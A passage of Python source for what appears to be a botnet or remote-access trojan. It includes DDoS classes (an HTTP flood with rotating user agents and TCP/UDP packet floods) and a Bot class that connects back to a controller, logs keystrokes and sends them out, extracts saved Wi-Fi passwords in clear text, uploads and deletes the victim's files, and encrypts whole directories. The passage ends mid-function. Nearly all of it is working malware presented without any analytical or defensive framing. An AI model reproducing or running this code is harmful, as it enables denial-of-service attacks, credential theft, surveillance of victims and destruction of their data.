'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)',
'Links (2.1pre15; FreeBSD 5.4-STABLE i386; 158x58)', 'Wget/1.8.2',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0', 'Mediapartners-Google/2.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007 Firebird/0.7',
'Mozilla/4.04 [en] (WinNT; I)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060205 Galeon/2.0.0 (Debian package 2.0.0-2)',
'lwp-trivial/1.41', 'NetBSD-ftp/20031210', 'Dillo/0.8.5-i18n-misc',
'Links (2.1pre20; NetBSD 2.1_STABLE i386; 145x54)',
'Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d',
'Lynx/2.8.5rel.3 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d',
'Links (2.1pre19; NetBSD 2.1_STABLE sparc64; 145x54)',
'Lynx/2.8.6dev.15 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d',
'Links (2.1pre14; IRIX64 6.5 IP27; 145x54)', 'Wget/1.10.1',
'ELinks/0.10.5 (textmode; FreeBSD 4.11-STABLE i386; 80x22-2)',
'Links (2.1pre20; FreeBSD 4.11-STABLE i386; 80x22)',
'Lynx/2.8.5rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d-p1', 'Opera/8.52 (X11; Linux i386; U; de)',
'Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8.0.1) Gecko/20060310 Firefox/1.5.0.1',
'Mozilla/5.0 (X11; U; IRIX64 IP27; en-US; rv:1.4) Gecko/20030711',
'Mozilla/4.8 [en] (X11; U; IRIX64 6.5 IP27)', 'Mozilla/4.76 [en] (X11; U; SunOS 5.8 sun4m)',
'Opera/5.0 (SunOS 5.8 sun4m; U) [en]', 'Links (2.1pre15; SunOS 5.8 sun4m; 80x24)',
'Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d', 'Wget/1.8.1', 'Wget/1.9.1',
'tnftp/20050625', 'Links (1.00pre12; Linux 2.6.14.2.20051115 i686; 80x24) (Debian pkg 0.99+1.00pre12-1)',
'Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/1.0.16',
'Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7) Gecko/20051122', 'Wget/1.7',
'Lynx/2.8.2rel.1 libwww-FM/2.14', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; de) Opera 8.53',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7e',
'Links (2.1pre20; SunOS 5.10 sun4u; 80x22)',
'Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7i',
'Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20060202 Firefox/1.5',
'Opera/8.51 (X11; Linux i386; U; de)', 'Emacs-W3/4.0pre.46 URL/p4.0pre.46 (i386--freebsd; X11)',
'Links (0.96; OpenBSD 3.0 sparc)', 'Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.6c',
'Lynx/2.8.3rel.1 libwww-FM/2.14',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)', 'libwww-perl/5.79',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.53',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)',
'msnbot/1.0 (+http://search.msn.com/msnbot.htm)', 'Googlebot/2.1 (+http://www.google.com/bot.html)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051008 Firefox/1.0.7',
'Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.51',
'Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.3 (like Gecko)',
'Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7c',
'Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/4.8 [en] (Windows NT 5.1; U)', 'Opera/8.51 (Windows NT 5.1; U; en)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Opera/8.51 (Windows NT 5.1; U; en;VWP-online.de)',
'sproose/0.1-alpha (sproose crawler; http://www.sproose.com/bot.html; crawler@sproose.com)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0,gzip(gfe) (via translate.google.com)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'BrowserEmulator/0.9 see http://dejavu.org',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko)',
'Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.4) Gecko/20030624',
'iCCrawler (http://www.iccenter.net/bot.htm)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322)',
'Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.12) Gecko/20051013 Debian/1.7.12-1ubuntu1',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8) Gecko/20051111 Firefox/1.5',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.50',
'Mozilla/3.0 (x86 [de] Windows NT 5.0; Sun)', 'Java/1.4.1_04',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051111 Firefox/1.5',
'msnbot/0.9 (+http://search.msn.com/msnbot.htm)',
'NutchCVS/0.8-dev (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.53',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6',
'Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0)', 'Mozilla/4.0 (compatible; MSIE 5.16; Mac_PowerPC)',
'Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)',
'Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)',
'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)',
'Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)', 'Opera/8.53 (Windows NT 5.1; U; en)',
'Opera/8.01 (Windows NT 5.0; U; de)', 'Opera/8.54 (Windows NT 5.1; U; de)',
'Opera/8.53 (Windows NT 5.0; U; en)', 'Opera/8.01 (Windows NT 5.1; U; de)',
'Opera/8.50 (Windows NT 5.1; U; de)',
'Mozilla/4.0 (compatible- MSIE 6.0- Windows NT 5.1- SV1- .NET CLR 1.1.4322',
'Mozilla/4.0(compatible; MSIE 5.0; Windows 98; DigExt)',
'Mozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-0)',
'Mozilla/4.0 (compatible; AvantGo 6.0; FreeBSD)', 'Mozilla/4.5 [de] (Macintosh; I; PPC)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 1.1.4322; MSN 9.0;MSN 9.1; MSNbMSNI; MSNmen-us; MSNcIA; MPLUS)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {59FC8AE0-2D88-C929-DA8D-B559D01826E7}; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; snprtz|S04741035500914#914|isdn; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; EnergyPlugIn; dial)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; sbcydsl 3.12; YComp 5.0.0.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.02b)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; .NET CLR 1.0.3705)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; SV1; .NET CLR 1.0.3705)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Ringo; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; .NET CLR 1.1.4322; yplus 4.1.00b)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0)',
'Mozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; BUILDWARE 1.6; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.5)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; (R1 1.5)',
'Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; it)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; FunWebProducts; HbTools 4.7.5)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; en)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312469)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; SV1; FDM)',
'Mozilla/5.0 (Macintosh; U; PPC; de-DE; rv:1.0.2)', 'Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.12)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1)',
'Mozilla/5.0 (compatible; Konqueror/3.4; Linux 2.6.14-kanotix-9; X11)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.10)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.12)',
'Mozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.7)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6)',
'Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.8)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.10)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8)',
'Mozilla/5.0 (Windows; U; Win 9x 4.90; de; rv:1.8.0.1)',
'Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12)', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.8)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.1)',
'Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4.1)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.3)',
'Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.12)',
'Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.1)', 'Mozilla/5.0 (X11; Linux i686; rv:1.7.5)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.2)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.6)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8a3)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.12)',
'Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.5)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.1)',
'Mozilla/5.0 (compatible; Konqueror/3; Linux)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8)',
'Mozilla/5.0 (compatible; Konqueror/3.2; Linux)', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; tg)',
'Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8b4)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51']
return user_agents
def stop_atk(self):
self.stopatk = True
def build_querystr(self, value):
result = ''
for i in range(value):
item = random.randint(65, 100)
result += chr(item)
return result
def ddos(self):
if not self.stopatk:
try:
code = 0
agent = random.choice(self.useragents)
req = urllib.request.Request(self.ip, headers={'User-Agent': agent,
'Referer': random.choice(
self.referers) + self.build_querystr(
random.randint(50, 100)),
'Cache-Control': 'no-cache',
'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
'Keep-Alive': random.randint(110, 160),
'Connection': 'keep-alive'})
urllib.request.urlopen(req)
code = 200
except urllib.error.HTTPError as e:
code_split = str(e).split()
code = code_split[2]
code = str(code[0] + code[1] + code[2])
if "500" in str(e):
code = 500
elif "429" in str(e):
code = 500
elif code.startswith('5'):
code = 500
except urllib.error.URLError as e:
if "A connection attempt failed" in str(e):
code = 500
except:
pass
return code
def start_thr(self):
while True:
try:
x = threading.Thread(target=self.ddos)
x.start()
time.sleep(self.delay)
if self.stopatk:
break
except:
pass
def ddos_start(self):
while True:
try:
http_code = self.ddos()
if http_code == 500:
break
if self.stopatk:
break
except:
pass
class TCP_UDP_Flood:
def __init__(self, ip, port, delay, pkt_size):
self.ip = ip
self.port = int(port)
self.delay = float(delay)
self.pkt_size = int(pkt_size)
self.stop = False
def gen_packet(self, size):
return random._urandom(size)
def UDP_Req(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(self.gen_packet(self.pkt_size), (self.ip, self.port))
s.close()
except:
pass
def TCP_req(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.ip, self.port))
s.send(self.gen_packet(self.pkt_size))
s.close()
except:
pass
def Stop_Atk(self):
self.stop = True
def TCP_Flood(self):
while True:
try:
tcp_req = threading.Thread(target=self.TCP_req)
tcp_req.start()
if self.stop:
break
time.sleep(self.delay)
except:
pass
def UDP_Flood(self):
while True:
try:
udp_req = threading.Thread(target=self.UDP_Req)
udp_req.start()
if self.stop:
break
time.sleep(self.delay)
except:
pass
class Bot:
def __init__(self, ip, port, key):
self.ip = ip
self.port = port
self.msg = ""
self.name = os.popen("whoami").read().strip()
if sys.platform == "win32":
self.desktop = f"C:/Users/{os.getlogin()}/Desktop"
elif sys.platform == "darwin":
self.desktop = f"/Users/{self.name}/Desktop"
else:
self.desktop = f"/"
self.logging = False
self.file_saving = False
while True:
try:
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((self.ip, self.port))
break
except:
self.connection.close()
time.sleep(1)
try:
logger = threading.Thread(target=self.start_logging)
logger.start()
except:
pass
self.fileeditor = False
time.sleep(1)
msg = socket.gethostname()+" "+self.getip()+" "+os.getlogin()+" "+sys.platform
self.send(msg)
time.sleep(1)
self.send("!CLIENTLOG")
self.recv_thr = threading.Thread(target=self.recv)
self.recv_thr.start()
self.conntest = threading.Thread(target=self.conn_test)
self.conntest.start()
self.key = key
try:
self.fernet_session = Fernet(self.key)
except:
self.fernet_session = None
def getip(self):
try:
url = 'https://httpbin.org/ip'
req = urllib.request.Request(url)
result = urllib.request.urlopen(req)
try:
result = result.read().decode()
except:
result = result.read()
contents = result.split()
ip = contents[2].strip('"')
return ip
except:
pass
def send(self, msg):
try:
self.connection.send(msg.encode())
except:
self.connection.send(msg)
def recv(self):
while True:
try:
self.msg = self.connection.recv(1024)
try:
self.msg = self.msg.decode()
except:
pass
self.run_cmd()
except:
pass
def on_press(self, key):
if self.logging:
try:
self.send("!sendkey " + str(key))
except:
pass
def on_release(self, key):
pass
def start_logging(self):
try:
with Listener(on_press=self.on_press, on_release=self.on_release) as listener:
listener.join()
except:
pass
def obtainwifipass(self):
if sys.platform == "darwin":
self.send("This bot is on a Apple-based product. Unable to get wifi passwords!")
else:
item = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output=True).stdout.decode()
prof_names = (re.findall("All User Profile : (.*)\\r", item))
passwords = []
check_networks = []
for i in prof_names:
item = subprocess.run(["netsh", "wlan", "show", "profiles", i], capture_output=True).stdout.decode()
security_key = False
security_key_present = (re.findall("Security key : (.*)\\r", item))
if security_key_present[0] == "Present":
check_networks.append(i)
else:
pass
for i in check_networks:
item = subprocess.run(["netsh", "wlan", "show", "profiles", i, "key=clear"],
capture_output=True).stdout.decode()
wifi_pass = (re.findall("Key Content : (.*)", item))
wifi_pass = wifi_pass[0]
info = {'ssid': i, 'key': wifi_pass.strip()}
passwords.append(info)
main_msg = ""
for i in passwords:
main_msg = main_msg + str(i) + ","
main_msg = f"Wifi Passwords: {main_msg}"
return main_msg
def openfile(self, file):
try:
if sys.platform == "darwin":
os.system(f"open {file}")
else:
os.startfile(file)
except:
pass
def changedir(self, dir):
try:
os.chdir(dir)
except:
pass
def getinfo(self):
msg = f'''
IP: {self.getip()}
CWD: {os.getcwd()}
USERNAME: {os.getlogin()}
OS: {sys.platform}
'''
return msg
def returnsecondstr(self, msg):
instruction = msg.split()
secondstr = instruction[1]
return secondstr
def rmdir(self, dir):
try:
shutil.rmtree(dir)
except:
pass
def rmfile(self, file):
try:
os.remove(file)
except:
pass
def mkdir(self, dirname):
try:
os.mkdir(dirname)
except:
pass
def listdir(self):
try:
dirlist = os.listdir()
result = ""
item = 0
dir_count = len(dirlist)
for i in dirlist:
if item == dir_count:
result += f"{i}"
else:
result += f"{i}, "
item += 1
return result
except:
pass
def sendfile(self, filename):
try:
file = open(filename, 'rb')
content = file.read()
file.close()
self.send(content)
time.sleep(5)
self.send("finished".encode())
except:
pass
def file_content(self, filename):
try:
file = open(filename, 'rb')
content = file.read()
file.close()
self.send(content)
except:
pass
def encdir(self):
for i in os.listdir():
try:
file = open(i, 'rb')
content = file.read()
file.close()
enc_content = self.fernet_session.encrypt(content)
file = open(i, 'wb')
file.write(enc_content)
file.close()
except:
pass
def decdir(self):
for i in os.listdir():
try:
file = open(i, 'rb')
content = file.read()
file.close()
dec_content = self.fernet_session.decrypt(content)
file = open(i, 'wb')
file.write(dec_content)
file.close()
except:
pass
def encfile(self, filename):
try:
file = open(filename, 'rb')
